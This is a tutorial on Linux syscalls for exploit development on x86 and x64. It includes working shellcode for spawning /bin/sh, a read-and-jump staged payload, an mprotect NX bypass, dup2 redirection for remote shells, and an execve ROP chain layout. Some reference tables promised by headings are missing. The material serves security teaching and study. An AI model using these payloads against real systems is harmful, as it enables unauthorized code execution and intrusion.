Linux Syscalls for Exploit Development

Every useful thing shellcode or a ROP chain does — spawning a shell, reading a file, changing memory permissions — ultimately happens through a syscall. Syscalls are the interface between user-space code and the kernel. When you execute execve("/bin/sh", NULL, NULL), you’re asking the kernel to replace the current process with a shell. The kernel doesn’t care whether that request came from a normal program or from shellcode injected through a buffer overflow.

This tutorial covers how syscalls work at the instruction level on both x86 and x64 Linux, then walks through the specific syscalls you’ll use most in exploit development.

The User/Kernel Boundary

User-space code cannot directly access hardware, manage processes, or interact with the filesystem. These operations require kernel privileges. A syscall is the mechanism for crossing that boundary:

1. User-space code places the syscall number and arguments in registers
2. A special instruction transfers control to the kernel
3. The kernel validates the request, performs the operation, and returns a result
4. Execution resumes in user space with the return value in a register

The two instructions that trigger this transition are int 0x80 (x86) and syscall (x64).

x86 Syscalls: int 0x80

On 32-bit Linux, syscalls are invoked by triggering software interrupt 0x80.

Register Setup

The return value is placed in EAX. A negative return value indicates an error (the negated errno).

Example: write(1, “hello\n”, 6)

section .data
    msg db "hello", 0x0a       ; "hello\n"

section .text
    global _start

_start:
    mov eax, 4                 ; syscall 4 = write
    mov ebx, 1                 ; fd = 1 (stdout)
    mov ecx, msg               ; buffer address
    mov edx, 6                 ; length
    int 0x80                   ; invoke syscall

Assembling and Running

$ nasm -f elf32 hello.asm -o hello.o
$ ld -m elf_i386 hello.o -o hello
$ ./hello
hello

x64 Syscalls: syscall Instruction

On 64-bit Linux, the syscall instruction replaced int 0x80. It’s faster — it uses a dedicated CPU mechanism (MSRs) instead of the interrupt descriptor table.

Register Setup

The return value goes in RAX.

Note: The 4th argument uses R10, not RCX. The syscall instruction overwrites RCX with the return address and R11 with the saved RFLAGS. These registers are clobbered on every syscall — never rely on their values afterward.

Example: write(1, “hello\n”, 6)

section .data
    msg db "hello", 0x0a

section .text
    global _start

_start:
    mov rax, 1                 ; syscall 1 = write (different number than x86!)
    mov rdi, 1                 ; fd = 1 (stdout)
    mov rsi, msg               ; buffer address
    mov rdx, 6                 ; length
    syscall

Assembling and Running

$ nasm -f elf64 hello.asm -o hello.o
$ ld hello.o -o hello
$ ./hello
hello

Syscall Numbers Differ Between Architectures

The same operation has different syscall numbers on x86 and x64:

Getting the syscall number wrong is a common mistake when translating shellcode between architectures.

Syscalls for Exploit Development

You don’t need to know all 300+ syscalls. For exploitation, a handful cover the vast majority of use cases.

execve — Spawn a Shell

execve replaces the current process with a new program. This is the syscall behind every system("/bin/sh") call and the goal of most shellcode.

Signature: execve(const char *pathname, char *const argv[], char *const envp[])

x86 — execve(“/bin/sh”, NULL, NULL):

xor eax, eax                   ; Zero EAX
push eax                       ; Push null terminator
push 0x68732f2f                ; "//sh"
push 0x6e69622f                ; "/bin"
mov ebx, esp                   ; EBX = pointer to "/bin//sh\0"
xor ecx, ecx                   ; ECX = NULL (argv)
xor edx, edx                   ; EDX = NULL (envp)
mov al, 0xb                    ; Syscall 11 = execve
int 0x80

The //sh trick pads the string to 4 bytes. The shell treats // the same as /.

x64 — execve(“/bin/sh”, NULL, NULL):

xor rsi, rsi                   ; RSI = NULL (argv)
push rsi                       ; Push null terminator onto stack
mov rdi, 0x68732f2f6e69622f    ; "/bin//sh" as a 64-bit immediate
push rdi
mov rdi, rsp                   ; RDI = pointer to "/bin//sh\0"
xor rdx, rdx                   ; RDX = NULL (envp)
xor eax, eax                   ; Zero RAX first to avoid stale upper bits
mov al, 59                     ; Syscall 59 = execve
syscall

Note: Passing NULL for both argv and envp works for spawning a basic shell. Some programs expect a valid argv array — in those cases you’d need to construct argv[0] on the stack and point to it.

read — Read Input

read pulls bytes from a file descriptor into a buffer. In exploitation, it’s used for staged payloads: a small first-stage shellcode calls read to pull a larger second-stage into memory.

Signature: read(int fd, void *buf, size_t count)

x64 example — read 256 bytes from stdin into the stack:

xor rax, rax                   ; Syscall 0 = read
xor rdi, rdi                   ; fd = 0 (stdin)
mov rsi, rsp                   ; buf = current stack pointer
mov rdx, 256                   ; count = 256 bytes
syscall
jmp rsp                        ; Execute the bytes we just read

This pattern is the foundation of a read + jmp rsp staged payload.

write — Write Output

write sends bytes from a buffer to a file descriptor. Useful for leaking memory contents — write the GOT, stack addresses, or canary values back to an attacker-controlled socket.

Signature: write(int fd, const void *buf, size_t count)

x64 example — leak 8 bytes from an address:

mov rax, 1                     ; Syscall 1 = write
mov rdi, 1                     ; fd = 1 (stdout), or socket fd
mov rsi, 0x601020              ; Address to leak (e.g., GOT entry)
mov rdx, 8                     ; Leak 8 bytes
syscall

mprotect — Change Memory Permissions

mprotect changes the permissions on a memory region. In exploitation, it’s used to make the stack (or another writable region) executable, bypassing NX.

Signature: mprotect(void *addr, size_t len, int prot)

Protection flags:

• PROT_READ = 1
• PROT_WRITE = 2
• PROT_EXEC = 4

To make memory readable, writable, and executable: 1 | 2 | 4 = 7

x64 example — make a stack page executable:

mov rax, 10                    ; Syscall 10 = mprotect
mov rdi, 0x7ffffffde000        ; Page-aligned address
mov rsi, 0x21000               ; Length (must cover the target region)
mov rdx, 7                     ; PROT_READ | PROT_WRITE | PROT_EXEC
syscall

Note: The address passed to mprotect must be page-aligned (a multiple of 0x1000 on most systems). If it’s not, the syscall fails with EINVAL. In a ROP chain, you typically get the page-aligned stack address from vmmap output.

dup2 — Redirect File Descriptors

dup2 duplicates a file descriptor. In remote exploits, once you have code execution, you redirect stdin/stdout/stderr to the network socket so the spawned shell communicates over the network instead of the local terminal.

Signature: dup2(int oldfd, int newfd)

x64 example — redirect stdin, stdout, and stderr to socket fd 4:

; Redirect stdin
mov rax, 33                    ; Syscall 33 = dup2
mov rdi, 4                     ; oldfd = socket
xor rsi, rsi                   ; newfd = 0 (stdin)
syscall

; Redirect stdout
mov rax, 33
mov rdi, 4
mov rsi, 1                     ; newfd = 1 (stdout)
syscall

; Redirect stderr
mov rax, 33
mov rdi, 4
mov rsi, 2                     ; newfd = 2 (stderr)
syscall

After these three calls, the socket (fd 4) is connected to the shell’s standard I/O. The socket file descriptor number varies — you determine it by analyzing the server code or by trying values.

exit — Clean Termination

exit terminates the process. Calling it after your shellcode finishes prevents the program from crashing into undefined memory, which can attract attention or trigger alerts.

Signature: exit(int status)

x64:

mov rax, 60                    ; Syscall 60 = exit
xor rdi, rdi                   ; status = 0
syscall

x86:

mov eax, 1                    ; Syscall 1 = exit
xor ebx, ebx                  ; status = 0
int 0x80

Syscalls via ROP Chains

When you can’t inject shellcode (NX is enabled), you can invoke syscalls through ROP gadgets. The pattern is the same — load registers, then hit a syscall or int 0x80 gadget — but every value comes from the stack.

x64 execve via ROP

To call execve("/bin/sh", NULL, NULL) through a ROP chain, you need:

1. RAX = 59
2. RDI = address of “/bin/sh” string
3. RSI = 0
4. RDX = 0
5. A syscall; ret gadget

The chain structure:

[ pop rax; ret ] [ 59           ]
[ pop rdi; ret ] [ "/bin/sh" addr ]
[ pop rsi; ret ] [ 0             ]
[ pop rdx; ret ] [ 0             ]
[ syscall       ]

Finding these gadgets is covered in the ROP gadget hunting workflow. The key insight is that syscall-based ROP chains are architecture-dependent — the registers and syscall numbers must match the target.

Checking for Syscall Gadgets

$ ROPgadget --binary ./vuln --only "syscall|ret"
$ ropper -f ./vuln --search "syscall"

In GDB-PEDA:

gdb-peda$ ropsearch "syscall"

If the binary lacks a syscall gadget, check libc — it always contains one.

Looking Up Syscall Numbers

The Header Files

The canonical source for syscall numbers:

# x64 ABI
$ grep -R "^#define __NR_execve " /usr/include/x86_64-linux-gnu/asm/unistd_64.h
# Output: #define __NR_execve 59

# x86 (32-bit) ABI
$ grep -R "^#define __NR_execve " /usr/include/x86_64-linux-gnu/asm/unistd_32.h
# Output: #define __NR_execve 11

Note: Header paths vary by distro and toolchain. If these exact paths don’t exist, search for unistd_32.h and unistd_64.h under /usr/include.

Using Python

>>> import ctypes
>>> libc = ctypes.CDLL("libc.so.6")
>>> libc.syscall(1, 1, b"hello\n", 6)  # write(1, "hello\n", 6)

Quick Reference Table

Tracing Syscalls

strace

strace intercepts and logs every syscall a program makes:

$ strace ./binary
execve("./binary", ["./binary"], ...) = 0
write(1, "hello\n", 6)                = 6
exit(0)                                = ?

This is useful for understanding what a binary does before exploiting it, and for verifying that your shellcode makes the expected syscalls.

Filtering Specific Syscalls

$ strace -e trace=write,execve ./binary

In GDB

Set a catchpoint to break on a specific syscall:

gdb-peda$ catch syscall execve
gdb-peda$ r
Catchpoint 1 (call to syscall execve), 0x00007ffff7ac5e07 in execve ()

This lets you verify that your shellcode or ROP chain reaches the syscall with the right register values.

Key Takeaways

• Syscalls are the only way user-space code interacts with the kernel. Every shell spawn, file read, and permission change goes through one.
• x86 uses int 0x80 with arguments in EBX, ECX, EDX, ESI, EDI, EBP. x64 uses syscall with arguments in RDI, RSI, RDX, R10, R8, R9.
• Syscall numbers differ between architectures — execve is 11 on x86 and 59 on x64. Getting this wrong is a silent failure.
• The five syscalls that cover most exploitation scenarios: execve (spawn a shell), read/write (staged payloads and memory leaks), mprotect (bypass NX), and dup2 (redirect I/O for remote shells).
• When NX prevents shellcode, the same syscalls can be invoked through ROP chains by loading registers with pop; ret gadgets and ending with a syscall gadget.
• Use strace to observe syscalls from outside and GDB catchpoints to break on them from inside.